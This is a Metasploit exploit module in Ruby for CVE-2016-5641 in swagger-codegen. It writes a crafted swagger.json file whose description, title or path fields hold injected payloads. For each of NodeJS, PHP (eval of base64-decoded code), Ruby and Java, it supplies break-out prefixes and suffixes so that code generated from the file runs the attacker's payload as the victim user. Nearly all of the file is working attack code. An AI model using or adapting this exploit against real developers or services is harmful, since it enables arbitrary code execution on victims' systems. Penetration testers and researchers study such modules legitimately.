##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#
# Gems
#
require 'base64'

#
# Project
#

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'JSON Swagger CodeGen Parameter Injector',
      'Description'    => %q{
        This module generates an Open API Specification 2.0 (Swagger) compliant
        json document that includes payload insertion points in parameters.

        In order for the payload to be executed, an attacker must convince
        someone to generate code from a specially modified swagger.json file
        within a vulnerable swagger-codgen appliance/container/api/service,
        and then to execute that generated code (or include it into software
        which will later be executed by another victim). By doing so, an
        attacker can execute arbitrary code as the victim user. The same
        vulnerability exists in the YAML format.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'ethersnowman <scott_davis@rapid7.com>'
        ],
      'References'     =>
        [
          [ 'CVE', '2016-5641' ],
          [ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
        ],
      'Platform'       => %w{ nodejs php java ruby },
      'Arch'           => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
      'Targets'        =>
        [
          ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
          ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
          ['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
          ['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
        ],
      'DisclosureDate' => '2016-06-23',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
        OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
        OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
        OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
        OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
        OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
        OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
        OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
        OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
        OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
        OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
      ])
  end

  def swagger
    %Q(
      {
          "swagger": "2.0",
          "info": {
              "description": "#{datastore['INFO_DESCRIPTION']}",
              "version": "#{datastore['INFO_VERSION']}",
              "title": "#{datastore['INFO_TITLE']}"
          },
          "schemes": [
              "#{datastore['SWAGGER_SCHEME']}"
          ],
          "host": "#{datastore['SWAGGER_HOST']}",
          "basePath": "#{datastore['BASE_PATH']}",
          "produces": [
              "application/json"
          ],
          "consumes": [
              "application/json"
          ],
          "paths": {
              "#{datastore['PATH']}": {
                  "get": {
                      "description": "#{datastore['PATH_DESCRIPTION']}",
                      "responses": {
                          "200": {
                              "description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
                              "schema": {
                                  "$ref": "#/definitions/d"
                              }
                          }
                      }
                  }
              }
          },
          "definitions": {
              "d": {
                  "type": "object",
                  "description": "#{datastore['DEFINITION_DESCRIPTION']}",
                  "properties": {
                      "id": {
                          "type": "integer",
                          "format": "int64"
                      }
                  }
              }
          }
      }
    )
  end

  def exploit
    case payload.arch[0]
    when 'nodejs'
      payload_loc = 'PATH'
      payload_prefix = "/a');};};return exports;}));"
      payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
      wrapped_payload = payload_prefix + payload.encoded.gsub(/"/, '\\"') + payload_suffix
    when 'php'
      payload_loc = 'INFO_DESCRIPTION'
      payload_prefix = "*/ namespace foobar; eval(base64_decode('"
      payload_suffix = "')); /*"
      wrapped_payload = payload_prefix +
        Base64.strict_encode64(payload.encoded) +
        payload_suffix
    when 'ruby'
      payload_loc = 'INFO_TITLE'
      payload_prefix = "=end "
      payload_suffix = "=begin "
      wrapped_payload = payload_prefix + payload.encoded + payload_suffix
    when 'java'
      payload_loc = 'PATH'
      payload_prefix = %q{a\\\"; "}
      p = payload.encoded.gsub(/<%@page import="/, 'import ')
      p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
      p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
      wrapped_payload = payload_prefix + p
    else
      raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
    end

    datastore[payload_loc] = wrapped_payload

    print_status swagger
    file_create swagger
  end
end
